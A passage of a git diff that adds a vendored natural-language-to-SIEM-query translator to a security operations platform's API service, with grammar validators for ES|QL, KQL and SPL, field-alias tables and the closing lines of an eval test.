per_case_scores.append((case["id"], score, notes))++ mean_score = sum(s for _, s, _ in per_case_scores) / len(per_case_scores)+ perfect = sum(1 for _, s, _ in per_case_scores if s == 1.0)+ near = sum(1 for _, s, _ in per_case_scores if 0.5 <= s < 1.0)++ print(f"\n[nl_query] semantic mean: {mean_score:.1%} (threshold {_SEMANTIC_THRESHOLD:.0%})")+ print(f"[nl_query] perfect={perfect}/{len(per_case_scores)} partial={near}/{len(per_case_scores)}")+ failing = [(cid, s, n) for cid, s, n in per_case_scores if s < 1.0]+ if failing:+ print(f"[nl_query] cases with imperfect score ({len(failing)}):")+ for cid, s, notes in failing[:25]:+ print(f" - {cid} ({s:.0%})")+ for note in notes:+ print(f" · {note}")++ assert mean_score >= _SEMANTIC_THRESHOLD, f"semantic mean {mean_score:.1%} below {_SEMANTIC_THRESHOLD:.0%}"+++def test_nl_query_eval_dataset_size() -> None:+ """Hard-fail if anyone shrinks the eval set below the contracted 50 pairs."""++ dataset = _load_dataset()+ assert len(dataset["cases"]) >= 50, f"eval set only has {len(dataset['cases'])} cases; the plan requires 50"+ seen_ids = {c["id"] for c in dataset["cases"]}+ assert len(seen_ids) == len(dataset["cases"]), "duplicate case ids in eval set"diff --git a/services/api/app/_vendor/__init__.py b/services/api/app/_vendor/__init__.pynew file mode 100644index 000000000..99de4c417--- /dev/null+++ b/services/api/app/_vendor/__init__.py@@ -0,0 +1,21 @@+"""Vendored third-party / cross-service modules used by the API service.++This namespace exists so that modules owned by *other* services can be shipped+inside the ``aisoc-api`` Docker image without depending on the rest of the+monorepo being copied in. The build context for ``services/api/Dockerfile`` is+``./services/api``, which means anything under ``services/agents`` is **not**+available at runtime — vendoring the bits we actually consume is the simplest,+most auditable way to keep the container self-contained.++Current vendored modules:++* ``nl_query`` — natural-language → ES|QL/SPL/KQL translator owned by+ ``services/agents/app/nl_query/``. Kept in lockstep via+ ``scripts/sync_vendored_nl_query.py``; CI fails the build if the two trees+ drift.++Do **not** import from this namespace directly outside of+``services/api/app/api/v1/endpoints/nl_query.py``. The dynamic loader in that+endpoint resolves the module at runtime under a collision-free name so it does+not interfere with the rest of the ``app`` package.+"""diff --git a/services/api/app/_vendor/nl_query/VENDORED.md b/services/api/app/_vendor/nl_query/VENDORED.mdnew file mode 100644index 000000000..0080f5c7d--- /dev/null+++ b/services/api/app/_vendor/nl_query/VENDORED.md@@ -0,0 +1,33 @@+# Vendored: `nl_query`++This directory is an **automatically maintained mirror** of+`services/agents/app/nl_query/`. Do not hand-edit files here.++## Why it exists++The API service ships in a Docker image whose build context is+`./services/api`. That means modules under `services/agents/` are not present+in the running container. The natural-language query translator is consumed by+both the agent runtime and the API's `/nl-query/*` endpoints, so we keep an+in-tree copy here.++## How it stays in sync++Run `python scripts/sync_vendored_nl_query.py` whenever you change anything in+`services/agents/app/nl_query/`. CI runs the same script in `--check` mode in+`.github/workflows/ci.yml` and fails the build if the trees drift.++## Files++| Vendored file | Source of truth |+| -------------------- | ------------------------------------------------- |+| `__init__.py` | `services/agents/app/nl_query/__init__.py` |+| `translator.py` | `services/agents/app/nl_query/translator.py` |+| `grammar.py` | `services/agents/app/nl_query/grammar.py` |++## Loader++The dynamic loader at+`services/api/app/api/v1/endpoints/nl_query.py::_load_nl_query_module` checks+this directory **first**, then falls back to the source tree at+`services/agents/app/nl_query/` for local development outside Docker.diff --git a/services/api/app/_vendor/nl_query/__init__.py b/services/api/app/_vendor/nl_query/__init__.pynew file mode 100644index 000000000..d58803858--- /dev/null+++ b/services/api/app/_vendor/nl_query/__init__.py@@ -0,0 +1,49 @@+"""Natural language → query translation for AiSOC.++This module ships a deterministic, offline-friendly translator that converts+plain-English security questions into ES|QL (OpenSearch / Elasticsearch),+KQL (Microsoft Sentinel / Kusto-style), and SPL (Splunk) dialects. It also+exposes a grammar validator so consumers can refuse to execute syntactically+invalid output.++Design notes:++- The translator runs **without** an LLM by default. This is what allows the+ air-gapped deployment story to keep working and lets the eval harness give+ reproducible numbers in CI.+- An optional LLM enhancement path is exposed via :func:`enhance_with_llm` for+ callers that already have credentials available; if it fails for any reason+ we fall back to the deterministic translation.+- Every emitted query goes through grammar validation before being returned,+ and the API layer also re-validates before execution.+"""++from .grammar import (+ GrammarError,+ validate_esql,+ validate_kql,+ validate_spl,+)+from .translator import (+ NLQuery,+ QueryIntents,+ TranslatedQuery,+ Translator,+ enhance_with_llm,+ parse_intents,+ translate,+)++__all__ = [+ "NLQuery",+ "QueryIntents",+ "TranslatedQuery",+ "Translator",+ "translate",+ "parse_intents",+ "enhance_with_llm",+ "GrammarError",+ "validate_esql",+ "validate_kql",+ "validate_spl",+]diff --git a/services/api/app/_vendor/nl_query/grammar.py b/services/api/app/_vendor/nl_query/grammar.pynew file mode 100644index 000000000..4e745e43e--- /dev/null+++ b/services/api/app/_vendor/nl_query/grammar.py@@ -0,0 +1,321 @@+"""Lightweight grammar validators for ES|QL, KQL, and SPL.++These validators are intentionally pragmatic rather than exhaustive: they+reject queries that are obviously malformed (unbalanced quotes, unknown+processing commands, dangling pipes) so that the API layer can refuse to+execute output the LLM produced incorrectly.++We deliberately avoid pulling in a heavy parser dependency — security teams+running AiSOC in an air-gapped environment should not have to wait for a+PyPI mirror sync just to validate that a query is well-formed.+"""++from __future__ import annotations++import re+from collections.abc import Iterable+from dataclasses import dataclass+++class GrammarError(ValueError):+ """Raised when a translated query fails grammar validation."""+++# ---------------------------------------------------------------------------+# Shared helpers+# ---------------------------------------------------------------------------+++_QUOTE_PAIRS = (('"', '"'), ("'", "'"))+++def _balanced_quotes(query: str) -> bool:+ """Return True if single and double quotes are balanced in *query*.++ We do not try to handle escape sequences exhaustively; the goal is to+ catch the common LLM failure mode where a string literal is left open.+ """++ for opener, closer in _QUOTE_PAIRS:+ # Drop escaped quotes so they don't unbalance the count.+ cleaned = query.replace(f"\\{opener}", "")+ if cleaned.count(opener) % 2 != 0 and opener == closer:+ return False+ return True+++def _balanced_parens(query: str) -> bool:+ depth = 0+ for ch in query:+ if ch == "(":+ depth += 1+ elif ch == ")":+ depth -= 1+ if depth < 0:+ return False+ return depth == 0+++# ---------------------------------------------------------------------------+# ES|QL+# ---------------------------------------------------------------------------+++# These mirror the ES|QL processing commands documented in the Elastic stack+# reference. We don't enforce ordering rules, just that every command is a+# recognised verb so we can reject typos like ``WHEER`` or ``STATSS``.+_ESQL_PROCESSING_COMMANDS = {+ "WHERE",+ "STATS",+ "EVAL",+ "KEEP",+ "DROP",+ "RENAME",+ "LIMIT",+ "SORT",+ "GROK",+ "DISSECT",+ "ENRICH",+ "MV_EXPAND",+ "DEDUP",+ "INLINESTATS",+ "LOOKUP",+ "TOP",+ "FORK",+ "JOIN",+}++# Valid source commands that may appear in the first segment of an ES|QL pipe.+_ESQL_SOURCE_COMMANDS = {"FROM", "ROW", "SHOW", "META"}+++@dataclass(frozen=True)+class _Segment:+ head: str+ body: str+++def _split_pipes(query: str) -> list[_Segment]:+ """Split *query* on top-level ``|`` characters, ignoring those in strings."""++ segments: list[str] = []+ current: list[str] = []+ in_single = False+ in_double = False+ for ch in query:+ if ch == "'" and not in_double:+ in_single = not in_single+ elif ch == '"' and not in_single:+ in_double = not in_double+ if ch == "|" and not in_single and not in_double:+ segments.append("".join(current).strip())+ current = []+ continue+ current.append(ch)+ segments.append("".join(current).strip())++ out: list[_Segment] = []+ for seg in segments:+ if not seg:+ continue+ head, _, body = seg.partition(" ")+ out.append(_Segment(head=head.upper(), body=body.strip()))+ return out+++def validate_esql(query: str) -> None:+ """Validate an ES|QL query, raising :class:`GrammarError` on failure."""++ if not query or not query.strip():+ raise GrammarError("query is empty")+ if not _balanced_quotes(query):+ raise GrammarError("unbalanced quotes")+ if not _balanced_parens(query):+ raise GrammarError("unbalanced parentheses")++ # Strip line comments — ES|QL allows ``// ...`` to end-of-line.+ cleaned = "\n".join(re.sub(r"//.*$", "", line) for line in query.splitlines())+ cleaned = cleaned.strip()+ if not cleaned:+ raise GrammarError("query is only comments")+ if cleaned.endswith("|"):+ raise GrammarError("query ends with a dangling pipe")++ segments = _split_pipes(cleaned)+ if not segments:+ raise GrammarError("no statements found")++ first = segments[0]+ if first.head not in _ESQL_SOURCE_COMMANDS:+ raise GrammarError(f"first command must be one of {_ESQL_SOURCE_COMMANDS}, got {first.head!r}")++ if first.head == "FROM" and not first.body:+ raise GrammarError("FROM requires an index pattern")++ for seg in segments[1:]:+ if seg.head not in _ESQL_PROCESSING_COMMANDS:+ raise GrammarError(f"unknown processing command {seg.head!r}")+ if seg.head in {"STATS", "EVAL", "WHERE", "SORT", "GROK", "DISSECT"} and not seg.body:+ raise GrammarError(f"{seg.head} requires arguments")+ if seg.head == "LIMIT":+ try:+ limit_val = int(seg.body.strip())+ except (TypeError, ValueError) as exc:+ raise GrammarError("LIMIT must be a positive integer") from exc+ if limit_val <= 0:+ raise GrammarError("LIMIT must be a positive integer")+ if seg.head == "STATS" and " BY " not in seg.body.upper() and "=" not in seg.body:+ # Allow STATS without BY only if at least one named aggregation is present.+ raise GrammarError("STATS requires either BY or a named aggregation")+++# ---------------------------------------------------------------------------+# KQL (Microsoft Sentinel / Kusto)+# ---------------------------------------------------------------------------+++_KQL_OPERATORS = {+ "where",+ "summarize",+ "extend",+ "project",+ "project-away",+ "project-keep",+ "sort",+ "order",+ "top",+ "take",+ "limit",+ "distinct",+ "count",+ "join",+ "union",+ "render",+ "evaluate",+ "make-series",+ "mv-expand",+ "parse",+ "search",+ "lookup",+ "let",+ "as",+}+++def _kql_first_token(line: str) -> str:+ line = line.strip().lstrip("|").lstrip()+ return line.split(" ", 1)[0].lower() if line else ""+++def validate_kql(query: str) -> None:+ """Validate a KQL query."""++ if not query or not query.strip():+ raise GrammarError("query is empty")+ if not _balanced_quotes(query):+ raise GrammarError("unbalanced quotes")+ if not _balanced_parens(query):+ raise GrammarError("unbalanced parentheses")++ # Drop blank lines and comments (// to end-of-line).+ lines = [re.sub(r"//.*$", "", line).rstrip() for line in query.splitlines()]+ lines = [line for line in lines if line.strip()]+ if not lines:+ raise GrammarError("query is only comments")+ if lines[-1].rstrip().endswith("|"):+ raise GrammarError("query ends with a dangling pipe")++ # First non-empty line must reference a table OR begin with a let/declare.+ first = lines[0].lstrip()+ first_token = _kql_first_token(first)+ if first.startswith("|"):+ raise GrammarError("KQL query must start with a table name, not a pipe")+ if first_token in {"where", "summarize", "extend", "project"}:+ raise GrammarError("KQL query must start with a table reference before applying operators")++ # For each line that begins with `|`, the next token must be a known KQL operator.+ for line in lines[1:]:+ stripped = line.lstrip()+ if not stripped.startswith("|"):+ # Continuation lines are fine.+ continue+ token = _kql_first_token(stripped)+ if token not in _KQL_OPERATORS:+ raise GrammarError(f"unknown KQL operator {token!r}")+++# ---------------------------------------------------------------------------+# SPL (Splunk)+# ---------------------------------------------------------------------------+++_SPL_COMMANDS = {+ "search",+ "stats",+ "eval",+ "where",+ "rex",+ "table",+ "sort",+ "head",+ "tail",+ "dedup",+ "fields",+ "rename",+ "lookup",+ "join",+ "append",+ "appendcols",+ "transaction",+ "timechart",+ "chart",+ "top",+ "rare",+ "bin",+ "bucket",+ "iplocation",+ "geostats",+ "tstats",+ "spath",+}+++def validate_spl(query: str) -> None:+ """Validate a SPL query."""++ if not query or not query.strip():+ raise GrammarError("query is empty")+ if not _balanced_quotes(query):+ raise GrammarError("unbalanced quotes")+ if not _balanced_parens(query):+ raise GrammarError("unbalanced parentheses")++ cleaned = " ".join(query.split())+ if cleaned.endswith("|"):+ raise GrammarError("query ends with a dangling pipe")++ parts: Iterable[str] = (p.strip() for p in cleaned.split("|"))+ parts_list = [p for p in parts if p]+ if not parts_list:+ raise GrammarError("query has no segments")++ # Splunk's implicit search command means the first segment may either start+ # with ``search ...`` or with a search expression like ``index=... ...``.+ first = parts_list[0]+ first_token = first.split(" ", 1)[0].lower()+ if first_token not in _SPL_COMMANDS and "=" not in first:+ raise GrammarError(f"unknown SPL command {first_token!r} and no search expression")++ for seg in parts_list[1:]:+ token = seg.split(" ", 1)[0].lower()+ if token not in _SPL_COMMANDS:+ raise GrammarError(f"unknown SPL command {token!r}")+++# Public re-exports for convenience.+__all__ = [+ "GrammarError",+ "validate_esql",+ "validate_kql",+ "validate_spl",+]diff --git a/services/api/app/_vendor/nl_query/translator.py b/services/api/app/_vendor/nl_query/translator.pynew file mode 100644index 000000000..67238d99b--- /dev/null+++ b/services/api/app/_vendor/nl_query/translator.py@@ -0,0 +1,784 @@+"""Deterministic NL → query translator with optional LLM enhancement.++The translator parses a natural-language security question into a small set+of structured *intents* (filters, group-bys, aggregations, sort, limit, time+range) and then renders those intents into ES|QL, KQL, and SPL. This is the+core of the air-gapped story: by going through a structured intermediate+representation we can:++1. Emit consistent, dialect-correct queries without calling out to an LLM,+2. Validate every emitted query against :mod:`grammar`, and+3. Score the translator on a frozen eval set in CI.++Callers that have an LLM available can use :func:`enhance_with_llm` to+attempt a richer translation; we always fall back to the deterministic+output if the LLM call fails or its result fails grammar validation.+"""++from __future__ import annotations++import logging+import re+from dataclasses import dataclass, field++from .grammar import GrammarError, validate_esql, validate_kql, validate_spl++logger = logging.getLogger(__name__)+++# ---------------------------------------------------------------------------+# Public dataclasses+# ---------------------------------------------------------------------------+++@dataclass(frozen=True)+class NLQuery:+ """The plain-English question plus enough context to render queries."""++ question: str+ index_pattern: str = "logs-*"+ time_range_hours: int = 24+++@dataclass(frozen=True)+class TranslatedQuery:+ """Translation result: one query per dialect plus a short explanation."""++ esql: str+ kql: str+ spl: str+ explanation: str+ intents: QueryIntents++ def as_dict(self) -> dict[str, str]:+ return {+ "esql": self.esql,+ "kql": self.kql,+ "spl": self.spl,+ "explanation": self.explanation,+ }+++@dataclass+class QueryIntents:+ """Structured intermediate representation parsed from the NL question."""++ filters: list[tuple[str, str, str]] = field(default_factory=list) # (field, op, value)+ group_by: list[str] = field(default_factory=list)+ aggregations: list[tuple[str, str | None, str]] = field(default_factory=list)+ # ^ (function, arg_field_or_None, alias)+ sort_by: tuple[str, str] | None = None # (field, direction)+ limit: int = 500+ distinct: str | None = None+ time_field: str = "@timestamp"+++# ---------------------------------------------------------------------------+# Field aliases & vocabulary+# ---------------------------------------------------------------------------+++# Map natural-language references to canonical ECS-ish field names. We keep+# the source text on the left so the parser can do simple word lookups.+_FIELD_ALIASES: dict[str, str] = {+ "user": "user.name",+ "username": "user.name",+ "account": "user.name",+ "src ip": "source.ip",+ "source ip": "source.ip",+ "source_ip": "source.ip",+ "src_ip": "source.ip",+ "destination ip": "destination.ip",+ "dest ip": "destination.ip",+ "destination_ip": "destination.ip",+ "dest_ip": "destination.ip",+ "host": "host.name",+ "hostname": "host.name",+ "process": "process.name",+ "process name": "process.name",+ "command": "process.command_line",+ "command line": "process.command_line",+ "url": "url.full",+ "domain": "destination.domain",+ "country": "source.geo.country_iso_code",+ "status": "event.outcome",+ "outcome": "event.outcome",+ "action": "event.action",+ "category": "event.category",+ "severity": "event.severity",+ "rule": "rule.name",+ "rule name": "rule.name",+ "agent": "user_agent.original",+ "user agent": "user_agent.original",+ "country code": "source.geo.country_iso_code",+ "bytes": "network.bytes",+ "port": "destination.port",+ "destination port": "destination.port",+ "dest port": "destination.port",+ "source port": "source.port",+ "src port": "source.port",+ "user account": "user.name",+}+++# Words that signal an event category. The values are the canonical+# ``event.category`` filters we'll add when one of these keywords appears.+_CATEGORY_KEYWORDS: dict[str, str] = {+ "login": "authentication",+ "logon": "authentication",+ "auth": "authentication",+ "authentication": "authentication",+ "ssh": "authentication",+ "process": "process",+ "execution": "process",+ "network": "network",+ "dns": "network",+ "firewall": "network",+ "file": "file",+ "filesystem": "file",+ "registry": "registry",+}+++# Words that signal an event outcome filter.+_OUTCOME_KEYWORDS: dict[str, str] = {+ "failed": "failure",+ "failure": "failure",+ "denied": "failure",+ "blocked": "failure",+ "rejected": "failure",+ "successful": "success",+ "succeeded": "success",+ "allowed": "success",+}+++_ORDER_KEYWORDS: dict[str, str] = {+ "top": "DESC",+ "highest": "DESC",+ "most": "DESC",+ "largest": "DESC",+ "biggest": "DESC",+ "lowest": "ASC",+ "smallest": "ASC",+ "least": "ASC",+}+++_TIME_REGEX = re.compile(+ r"\b(?:last|past|previous)\s+(\d+)\s*(minute|minutes|hour|hours|day|days|week|weeks|month|months)\b",+ re.IGNORECASE,+)+# Time phrases without an explicit count: ``last hour``, ``past day``.+# We treat the count as 1 in that case.+_TIME_REGEX_SINGULAR = re.compile(+ r"\b(?:last|past|previous)\s+(minute|hour|day|week|month)\b",+ re.IGNORECASE,+)+++# Numeric aggregation patterns. The lookahead stops at the next clause+# boundary so we don't drag the rest of the question into the field name.+_NUMERIC_AGG_PATTERNS: list[tuple[str, str]] = [+ (+ r"\b(?:average|avg|mean)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:by|per|in|over|with|where|and|having|,|$))",+ "AVG",+ ),+ (+ r"\b(?:sum(?:\s+of)?|total(?:\s+of)?)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:by|per|in|over|with|where|and|having|,|$))",+ "SUM",+ ),+ (+ r"\b(?:max|maximum|largest|highest)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:by|per|in|over|with|where|and|having|,|$))",+ "MAX",+ ),+ (+ r"\b(?:min|minimum|lowest|smallest)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:by|per|in|over|with|where|and|having|,|$))",+ "MIN",+ ),+]+++# ---------------------------------------------------------------------------+# Parser+# ---------------------------------------------------------------------------+++def _normalise(question: str) -> str:+ return re.sub(r"\s+", " ", question.strip().lower())+++def _resolve_field(token: str) -> str | None:+ token = token.strip().lower()+ if token in _FIELD_ALIASES:+ return _FIELD_ALIASES[token]+ # Trim trailing 's' for trivial plurals (``hosts`` → ``host``,+ # ``users`` → ``user``). Not perfect, but it covers the common cases+ # without dragging in an inflection library.+ if token.endswith("s") and token[:-1] in _FIELD_ALIASES:+ return _FIELD_ALIASES[token[:-1]]+ # ``processes`` → ``process``, ``addresses`` → ``address``: handle the+ # ``-es`` suffix where naive ``-s`` stripping leaves an unresolvable stem.+ if token.endswith("es") and token[:-2] in _FIELD_ALIASES:+ return _FIELD_ALIASES[token[:-2]]+ # ``queries`` → ``query``, ``identities`` → ``identity``.+ if token.endswith("ies") and (token[:-3] + "y") in _FIELD_ALIASES:+ return _FIELD_ALIASES[token[:-3] + "y"]+ # Last resort: if the user typed a dotted ECS field, accept it.+ if re.fullmatch(r"[a-z][a-z0-9_]*(?:\.[a-z][a-z0-9_]*)+", token):+ return token+ return None+++def _extract_filters(question: str, intents: QueryIntents) -> None:+ text = _normalise(question)++ # event.outcome filter (failed / successful / etc.)+ for kw, outcome in _OUTCOME_KEYWORDS.items():+ if re.search(rf"\b{kw}\b", text):+ intents.filters.append(("event.outcome", "==", outcome))+ break++ # event.category filter (login, dns, file, ...). Match plurals too+ # (``logins``, ``logons``, ``authentications``, ``processes``).+ for kw, category in _CATEGORY_KEYWORDS.items():+ if re.search(rf"\b{kw}s?\b", text) or re.search(rf"\b{kw}es\b", text):+ intents.filters.append(("event.category", "==", category))+ break++ # Quoted string literals → match against ``message`` (best-effort).+ for match in re.finditer(r'"([^"]+)"', question):+ intents.filters.append(("message", "LIKE", match.group(1)))++ # Field-comparison patterns: ``user is alice``, ``host = web01``,+ # ``port equals 22``. To avoid the regex engine swallowing whole prefixes+ # into the field name (a Python regex pitfall with lazy quantifiers in+ # ``finditer``), we anchor on the known aliases first. The right-hand+ # side accepts a single word/value token.+ _value_re = r"([a-z0-9_\-\.@\*]+)"+ _ops_re = r"(?:is|=|==|equals?|matches?)"+ seen_pairs: set[tuple[str, str]] = set()+ # Build alias patterns longest-first so multi-word aliases match before+ # their single-word substrings (``destination ip`` before ``ip``).+ for alias in sorted(_FIELD_ALIASES, key=len, reverse=True):+ canonical = _FIELD_ALIASES[alias]+ pattern = rf"\b{re.escape(alias)}\s+{_ops_re}\s+{_value_re}\b"+ for m in re.finditer(pattern, text):+ value = m.group(1).strip()+ if value in {"the", "a", "an", "any", "all", "in", "and", "or"}:+ continue+ key = (canonical, value)+ if key in seen_pairs:+ continue+ seen_pairs.add(key)+ intents.filters.append((canonical, "==", value))++ # ``failed login from <ip>``+ ip_match = re.search(r"\bfrom\s+(\d{1,3}(?:\.\d{1,3}){3})\b", text)+ if ip_match:+ intents.filters.append(("source.ip", "==", ip_match.group(1)))++ # ``from host X`` / ``for user X`` / ``on container X`` style filters+ # where the relationship is implicit. We scope this to a small set of+ # safe prepositions and field aliases so we don't accidentally swallow+ # other clauses like ``from the last hour``.+ _IMPLICIT_PREPS = ("from", "for", "on", "by")+ _IMPLICIT_FIELDS = (+ "host",+ "hostname",+ "user",+ "username",+ "container",+ "service",+ "process",+ "domain",+ )+ for prep in _IMPLICIT_PREPS:+ for field_name in _IMPLICIT_FIELDS:+ resolved = _resolve_field(field_name)+ if not resolved:+ continue+ pattern = rf"\b{prep}\s+{re.escape(field_name)}\s+([a-z0-9_\-\.@\*]+)\b"+ for m in re.finditer(pattern, text):+ value = m.group(1).strip()+ if value in {+ "the",+ "a",+ "an",+ "any",+ "all",+ "in",+ "and",+ "or",+ "is",+ "with",+ "where",+ "having",+ }:+ continue+ # Avoid double-adding a filter we already extracted via the+ # explicit ``field is value`` path.+ key = (resolved, value)+ if key in seen_pairs:+ continue+ seen_pairs.add(key)+ intents.filters.append((resolved, "==", value))++ # Bare ``from <hostname>`` — no explicit field word but the token looks+ # like a hostname (alphanumeric with at least one digit, or contains a+ # dot like an FQDN). We deliberately require a digit-or-dot so we don't+ # collide with prose like ``from the last hour`` or ``from authentication``.+ for m in re.finditer(+ r"\bfrom\s+([a-z][a-z0-9_\-]*\d[a-z0-9_\-]*|[a-z][a-z0-9_\-]*\.[a-z0-9_\-\.]+)\b",+ text,+ ):+ value = m.group(1).strip()+ # Skip values already captured (the explicit-field loop above runs+ # first) and skip anything that looks like an IPv4 address — that's+ # handled by the dedicated source.ip extractor higher up.+ if re.fullmatch(r"\d{1,3}(?:\.\d{1,3}){3}", value):+ continue+ key = ("host.name", value)+ if key in seen_pairs:+ continue+ seen_pairs.add(key)+ intents.filters.append(("host.name", "==", value))+++def _extract_time_range(question: str, default_hours: int) -> int:+ match = _TIME_REGEX.search(question)+ if match:+ quantity = int(match.group(1))+ unit = match.group(2).lower()+ else:+ singular = _TIME_REGEX_SINGULAR.search(question)+ if not singular:+ return default_hours+ quantity = 1+ unit = singular.group(1).lower()+ if unit.startswith("minute"):+ # Round up to at least one hour for dialects that work in hours.+ return max(1, (quantity + 59) // 60)+ if unit.startswith("hour"):+ return max(1, quantity)+ if unit.startswith("day"):+ return max(1, quantity * 24)+ if unit.startswith("week"):+ return max(1, quantity * 24 * 7)+ if unit.startswith("month"):+ return max(1, quantity * 24 * 30)+ return default_hours+++def _extract_group_by(question: str, intents: QueryIntents) -> None:+ text = _normalise(question)+ # Expand ``by X and Y`` / ``per X and Y`` into ``by X, by Y`` so the+ # single-field regex below picks up both halves. We only expand once+ # to keep behaviour predictable for runs with three or more fields.+ text = re.sub(+ r"\b(by|per)\s+([a-z][a-z _\.]+?)\s+and\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:in|over|for|with|where|having|in the|last|past|previous|,|$))",+ r"\1 \2, \1 \3",+ text + " ,",+ )+ for m in re.finditer(+ r"\b(?:by|per|grouped by|group by)\s+([a-z][a-z _\.]+?)"+ r"(?=\b(?:in|over|for|with|where|having|in the|and|last|past|previous|,|$))",+ text,+ ):+ candidate = m.group(1).strip().rstrip(",")+ canonical = _resolve_field(candidate)+ if canonical and canonical not in intents.group_by:+ intents.group_by.append(canonical)+++def _extract_aggregations(question: str, intents: QueryIntents) -> None:+ text = _normalise(question)++ # "count of failed logins by user"+ if re.search(r"\b(count|how many|number of)\b", text):+ intents.aggregations.append(("COUNT", None, "event_count"))++ # Numeric aggregations: "average bytes", "sum of bytes", "max bytes".+ seen_aggs: set[tuple[str, str]] = set()+ for pattern, func in _NUMERIC_AGG_PATTERNS:+ for m in re.finditer(pattern, text + " ,"):+ candidate = m.group(1).strip().rstrip(",")+ canonical = _resolve_field(candidate)+ if not canonical:+ continue+ key = (func, canonical)+ if key in seen_aggs:+ continue+ seen_aggs.add(key)+ alias = f"{func.lower()}_{canonical.replace('.', '_')}"+ intents.aggregations.append((func, canonical, alias))++ # "unique users", "distinct hosts" — the lookahead lets us stop at the+ # next clause boundary (``with``, ``having``, ``in the last 24h`` etc.)+ # without dragging the whole tail of the question into the field name.+ for m in re.finditer(+ r"\b(?:unique|distinct)\s+([a-z _]+?)"+ r"(?=\b(?:by|per|in|over|with|where|having|from|and|,|$))",+ text + " ,",+ ):+ candidate = m.group(1).strip().rstrip(",")+ canonical = _resolve_field(candidate)+ if canonical:+ intents.aggregations.append(("DISTINCT_COUNT", canonical, f"unique_{canonical.replace('.', '_')}"))+ intents.distinct = canonical++ # "top 10 hosts" / "top hosts"+ top_m = re.search(r"\btop\s+(\d+)?\s*([a-z _\.]+?)(?=\b(?:by|in|over|with|where|and|,|$))", text + " ,")+ if top_m:+ try:+ limit = int(top_m.group(1)) if top_m.group(1) else 10+ except ValueError:+ limit = 10+ intents.limit = limit+ candidate = top_m.group(2).strip().rstrip(",")+ canonical = _resolve_field(candidate)+ if canonical and canonical not in intents.group_by:+ intents.group_by.append(canonical)+ if not any(agg[0] == "COUNT" for agg in intents.aggregations):+ intents.aggregations.append(("COUNT", None, "event_count"))+ intents.sort_by = ("event_count", "DESC")++ # "show me last 100 events" / "limit 50". Carefully require that the+ # number is *not* immediately followed by a time unit, otherwise+ # ``in the last 24 hours`` would be misinterpreted as a row limit.+ lim_m = re.search(+ r"\b(?:limit|last|first)\s+(\d+)\b(?!\s*(?:minute|minutes|hour|hours|day|days|week|weeks|month|months))",+ text,+ )+ if lim_m and not top_m:+ try:+ intents.limit = int(lim_m.group(1))+ except ValueError as exc:+ # Regex group is `\d+`, so int() should never fail here. If it+ # somehow does (e.g. an upstream regex change), keep the dataclass+ # default rather than failing the whole NL → ES|QL parse.+ logger.debug("nl_query.limit_parse_failed value=%r err=%s", lim_m.group(1), exc)++ # Sort hints (highest, lowest)+ for kw, direction in _ORDER_KEYWORDS.items():+ if re.search(rf"\b{kw}\b", text):+ if intents.sort_by is None and intents.aggregations:+ intents.sort_by = (intents.aggregations[0][2], direction)+ break+++def parse_intents(query: NLQuery) -> QueryIntents:+ """Parse *query* into a :class:`QueryIntents` IR."""++ intents = QueryIntents()+ _extract_filters(query.question, intents)+ _extract_aggregations(query.question, intents)+ _extract_group_by(query.question, intents)+ # If the user grouped by something (``per host``, ``by user``) but never+ # named an explicit aggregation, default to ``COUNT(*)`` — the only thing+ # you can sensibly compute over a grouping with no measure.+ if intents.group_by and not intents.aggregations:+ intents.aggregations.append(("COUNT", None, "event_count"))+ if intents.sort_by is None:+ intents.sort_by = ("event_count", "DESC")+ intents.time_field = "@timestamp"+ return intents+++# ---------------------------------------------------------------------------+# Renderers+# ---------------------------------------------------------------------------+++def _render_esql_value(value: str) -> str:+ if re.fullmatch(r"-?\d+(?:\.\d+)?", value):+ return value+ return '"' + value.replace('"', '\\"') + '"'+++def _render_esql(query: NLQuery, intents: QueryIntents) -> str:+ lines = [f"FROM {query.index_pattern}"]+ lines.append(f"| WHERE {intents.time_field} > NOW() - {query.time_range_hours}h")++ for fld, op, value in intents.filters:+ if op == "LIKE":+ lines.append(f'| WHERE {fld} LIKE "*{value}*"')+ else:+ lines.append(f"| WHERE {fld} == {_render_esql_value(value)}")++ if intents.aggregations:+ agg_parts: list[str] = []+ for func, arg, alias in intents.aggregations:+ if func == "COUNT":+ agg_parts.append(f"{alias} = COUNT(*)")+ elif func == "DISTINCT_COUNT" and arg:+ agg_parts.append(f"{alias} = COUNT_DISTINCT({arg})")+ elif arg:+ agg_parts.append(f"{alias} = {func}({arg})")+ stats_line = "| STATS " + ", ".join(agg_parts)+ if intents.group_by:+ stats_line += " BY " + ", ".join(intents.group_by)+ lines.append(stats_line)++ if intents.sort_by:+ fld, direction = intents.sort_by+ lines.append(f"| SORT {fld} {direction}")++ lines.append(f"| LIMIT {intents.limit}")+ return "\n".join(lines)+++def _render_kql(query: NLQuery, intents: QueryIntents) -> str:+ table = _kql_table_for(query.index_pattern)+ lines = [table]+ lines.append(f"| where {intents.time_field.lstrip('@')} > ago({query.time_range_hours}h)")++ for fld, op, value in intents.filters:+ kfld = fld.replace(".", "_")+ if op == "LIKE":+ lines.append(f'| where {kfld} contains "{value}"')+ elif re.fullmatch(r"-?\d+(?:\.\d+)?", value):+ lines.append(f"| where {kfld} == {value}")+ else:+ lines.append(f'| where {kfld} == "{value}"')++ if intents.aggregations:+ agg_parts: list[str] = []+ for func, arg, alias in intents.aggregations:+ if func == "COUNT":+ agg_parts.append(f"{alias} = count()")+ elif func == "DISTINCT_COUNT" and arg:+ agg_parts.append(f"{alias} = dcount({arg.replace('.', '_')})")+ elif arg:+ agg_parts.append(f"{alias} = {func.lower()}({arg.replace('.', '_')})")+ summarize_line = "| summarize " + ", ".join(agg_parts)+ if intents.group_by:+ summarize_line += " by " + ", ".join(g.replace(".", "_") for g in intents.group_by)+ lines.append(summarize_line)++ if intents.sort_by:+ fld, direction = intents.sort_by+ lines.append(f"| order by {fld} {direction.lower()}")++ lines.append(f"| take {intents.limit}")+ return "\n".join(lines)+++def _kql_table_for(index_pattern: str) -> str:+ pattern = index_pattern.lower()+ if "winlog" in pattern or "windows" in pattern:+ return "SecurityEvent"+ if "syslog" in pattern or "linux" in pattern:+ return "Syslog"+ if "firewall" in pattern or "fw-" in pattern:+ return "CommonSecurityLog"+ if "auth" in pattern:+ return "SigninLogs"+ return 